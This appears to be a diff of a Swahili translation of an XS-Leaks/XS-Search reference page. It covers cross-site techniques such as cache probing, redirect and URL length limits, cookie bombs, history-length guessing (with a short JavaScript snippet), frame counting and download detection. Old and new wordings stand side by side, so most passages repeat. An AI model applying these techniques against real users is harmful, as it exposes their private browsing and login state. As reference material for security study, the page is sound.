- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali iko kwenye cache tayari.
- **Summary**: Ikiwa kichwa cha Origin kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali ipo kwenye cache tayari.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
Katika kesi ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin`, mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** mode. Ikiwa **kosa** **halijazuiliwa**, inamaanisha kwamba ilipatikana **kwa usahihi kutoka wavuti**, ikiwa kosa **limezuiliwa**, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji)**.**\
Katika hali ambapo **kichwa cha Origin** kinarejelewa katika kichwa `Access-Control-Allow-Origin` mshambuliaji anaweza kutumia tabia hii kujaribu **kupata** **rasilimali** katika **CORS** hali. Ikiwa **kosa** **halijazuiliwa**, inamaanisha kwamba ilipatikana **kwa usahihi kutoka kwenye wavuti**, ikiwa kosa **limezuiliwa**, ni kwa sababu ilipatikana **kutoka kwenye cache** (kosa linaonekana kwa sababu cache inahifadhi jibu lenye kichwa cha CORS kinachoruhusu kikoa cha asili na si kikoa cha mshambuliaji)**.**\
Kumbuka kwamba ikiwa asili haijarejelewa lakini wildcard inatumika (`Access-Control-Allow-Origin: *`) hii haitafanya kazi.
## Readable Attributes Technique
@ -576,7 +576,7 @@ Kuwasilisha ombi kwa kutumia Fetch API na `redirect: "manual"` na vigezo vingine
- **Summary:** Kurasa zilizohifadhiwa na Sera ya Mfunguo wa Cross-Origin (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa cross-origin.
- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwezo wa kuona kichwa hiki unaweza kubainishwa kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inatumika, na **defined** katika ukosefu wake.
Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-Origin (COOP) katika jibu la HTTP la cross-origin. COOP inatumika na programu za wavuti kuzuia tovuti za nje kupata marejeleo ya dirisha yasiyo ya kawaida. Uwazi wa kichwa hiki unaweza kugundulika kwa kujaribu kufikia **`contentWindow` reference**. Katika hali ambapo COOP inatumika kwa masharti, **sifa ya `opener`** inakuwa kiashiria: ni **undefined** wakati COOP inatumika, na **imefafanuliwa** katika ukosefu wake.
### URL Max Length - Server Side
@ -586,9 +586,9 @@ Mshambuliaji ana uwezo wa kubaini uwepo wa kichwa cha Sera ya Mfunguo wa Cross-O
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kiasi kwamba seva inajibu kwa kosa na tahadhari inaundwa.
- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
Ikiwa uhamasishaji wa upande wa seva unatumia **ingizo la mtumiaji ndani ya uhamasishaji** na **data za ziada**. Inawezekana kugundua tabia hii kwa sababu kawaida **seva** zina **kikomo cha urefu wa ombi**. Ikiwa **data ya mtumiaji** ni hiyo **urefu - 1**, kwa sababu **uhamasishaji** unatumia **data hiyo** na **kuongeza** kitu **cha ziada**, itasababisha **kosa linaloweza kugundulika kupitia Matukio ya Kosa**.
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) hivyo na **kuongezeka kwa ukubwa wa jibu** la **jibu sahihi** kosa **linasababishwa**. Katika kesi hii, kumbuka kwamba ikiwa unazindua ombi hili kutoka tovuti moja, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
Ikiwa unaweza kwa namna fulani kuweka cookies kwa mtumiaji, unaweza pia kufanya shambulio hili kwa **kweka cookies za kutosha** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) hivyo na **urefu wa jibu** wa **jibu sahihi** kosa **linasababishwa**. Katika kesi hii, kumbuka kwamba ikiwa unakusababisha ombi hili kutoka kwenye tovuti moja, `<script>` itatuma cookies moja kwa moja (hivyo unaweza kuangalia makosa).\
Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililokusudiwa la andiko hili: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` au kuwa katika muktadha sawa kawaida inahitajika kwa aina hii ya shambulio.
@ -598,7 +598,7 @@ Mfano wa **cookie bomb + XS-Search** unaweza kupatikana katika Suluhisho lililok
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Status Code / Content
- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kiasi kwamba tofauti inaweza kuonekana.
- **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa jibu la uhamasishaji unaweza kuwa mrefu sana kwa ombi kwamba tofauti inaweza kuonekana.
- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Kulingana na [nyaraka za Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), urefu wa juu wa URL wa Chrome ni 2MB.
@ -607,7 +607,7 @@ Kulingana na [nyaraka za Chromium](https://chromium.googlesource.com/chromium/sr
Hivyo ikiwa **URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi**, inawezekana kufanya ihamasishwe na **URL kubwa zaidi ya 2MB** ili kufikia **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
Tofauti **inayoonekana**, ni kwamba ikiwa **uhamasishaji** ulikamilika, `window.origin` inatoa **kosa** kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa **kikomo** kilipatikana na ukurasa ulio loaded ulikuwa **`about:blank#blocked`** asili ya **`origin`** inabaki kuwa ya **mzazi**, ambayo ni **taarifa inayoweza kufikiwa.**
Tofauti **inayoonekana**, ni kwamba ikiwa **uhamasishaji** ulikamilika, `window.origin` inatoa **kosa** kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa **kikomo** kiligongwa na ukurasa ulio loaded ulikuwa **`about:blank#blocked`** asili ya **`window`** inabaki kuwa ya **mzazi**, ambayo ni **taarifa inayoweza kufikiwa.**
Maelezo yote ya ziada yanayohitajika kufikia **2MB** yanaweza kuongezwa kupitia **hash** katika URL ya awali ili itumike katika uhamasishaji.
@ -620,17 +620,17 @@ xs-search/url-max-length-client-side.md
- **Inclusion Methods**: Fetch API, Frames
- **Detectable Difference**: Status Code
- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Summary:** Tumia kikomo cha uhamasishaji wa kivinjari kubaini kuwepo kwa uhamasishaji wa URL.
- **Summary:** Tumia kikomo cha uhamasishaji wa kivinjari ili kubaini kuwepo kwa uhamasishaji wa URL.
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Ikiwa **idadi ya juu** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumpeleka mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linazuiliwa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
Ikiwa idadi ya **max** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumpeleka mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linazuiliwa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
### History Length
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Redirects
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kupitia sifa ya urefu.
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kwa sifa ya urefu.
- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API ya Historia** inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo **huhifadhi kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia sifa ya urefu kama mbinu ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.\
@ -640,10 +640,10 @@ Ikiwa **idadi ya juu** ya **uhamasishaji** kufuata ya kivinjari ni **20**, msham
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Ikiwa URL ni sawa na ile iliyokisiwa
- **Summary:** Inawezekana kukisia ikiwa eneo la frame/pop-up liko kwenye URL maalum kwa kutumia urefu wa historia.
- **Summary:** Inawezekana kukisia ikiwa eneo la frame/popup liko katika URL maalum kwa kutumia urefu wa historia.
- **Code Example**: Chini
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haiwezi kupakuliwa ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu kupakia URL iliyokisiwa lakini kwa sababu tulipakia **`about:blank`** mara moja, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haijareload ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu **kupakia URL iliyokisiwa** lakini kwa sababu sisi **haraka baada** kupakia **`about:blank`**, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -670,9 +670,9 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **kuendelea** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **bila kukoma** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
### HTMLElements
@ -682,13 +682,13 @@ Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa
- **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
### Information Exposed by HTML Elements
- **HTMLMediaElement**: Kipengele hiki kinaonyesha `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuonyesha kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuashiria kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -699,8 +699,8 @@ Uvujaji wa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavu
- **Summary:** Tambua tofauti katika mtindo wa wavuti zinazohusiana na hali au hadhi ya mtumiaji.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **HTML link element**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha kanuni hizi kwa kidinamik, mshambuliaji anaweza **kutambua** hizi **tofauti** kulingana na hali ya mtumiaji.\
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **kipengele cha HTML link**, na **sheria** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha sheria hizi kwa kidinamik, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` ili **kusoma mali za CSS** za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
### CSS History
@ -713,11 +713,11 @@ Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedS
> [!NOTE]
> Kulingana na [**hii**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), hii haifanyi kazi katika Chrome isiyo na kichwa.
Mchaguo wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo inayoweza kutumika na mchaguo wa `:visited`.
Mchoro wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo ambayo inaweza kutumika na mchoro wa `:visited`.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikionyesha hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikifichua hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia muda wa uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya muda inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuongeza tofauti ya muda, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa muda.
Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia muda wa uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya muda inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuimarisha tofauti ya muda, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa muda.
Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
@ -730,7 +730,7 @@ Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
- **Inclusion Methods**: Frames
- **Detectable Difference**: Headers
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa umezuiwa kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa unazuiwa kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.
@ -740,20 +740,20 @@ Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** Mshambuliaji anaweza kutambua upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kugundua tabia hii ya upakuaji:
1. **Ufuatiliaji wa Upakuaji Bar**:
- Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
- Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upakuaji bar, ikionyesha kuwa upakuaji umeanzishwa.
2. **Upakuaji wa Navigesheni kwa Iframes**:
- Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haileti tukio la navigesheni.
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa usambazaji wa maudhui unasababisha upakuaji wa faili (hakuna navigesheni) au la.
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa hali ya maudhui inasababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Upakuaji wa Navigesheni bila Iframes**:
- Kama mbinu ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
- Kama ilivyo kwa mbinu ya iframe, mbinu hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya navigesheni katika dirisha lililo wazi linaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kudhani hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
@ -762,17 +762,17 @@ Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** Mshambuliaji anaweza kutambua upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (kutoka [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa mpya ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa hivi karibuni ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
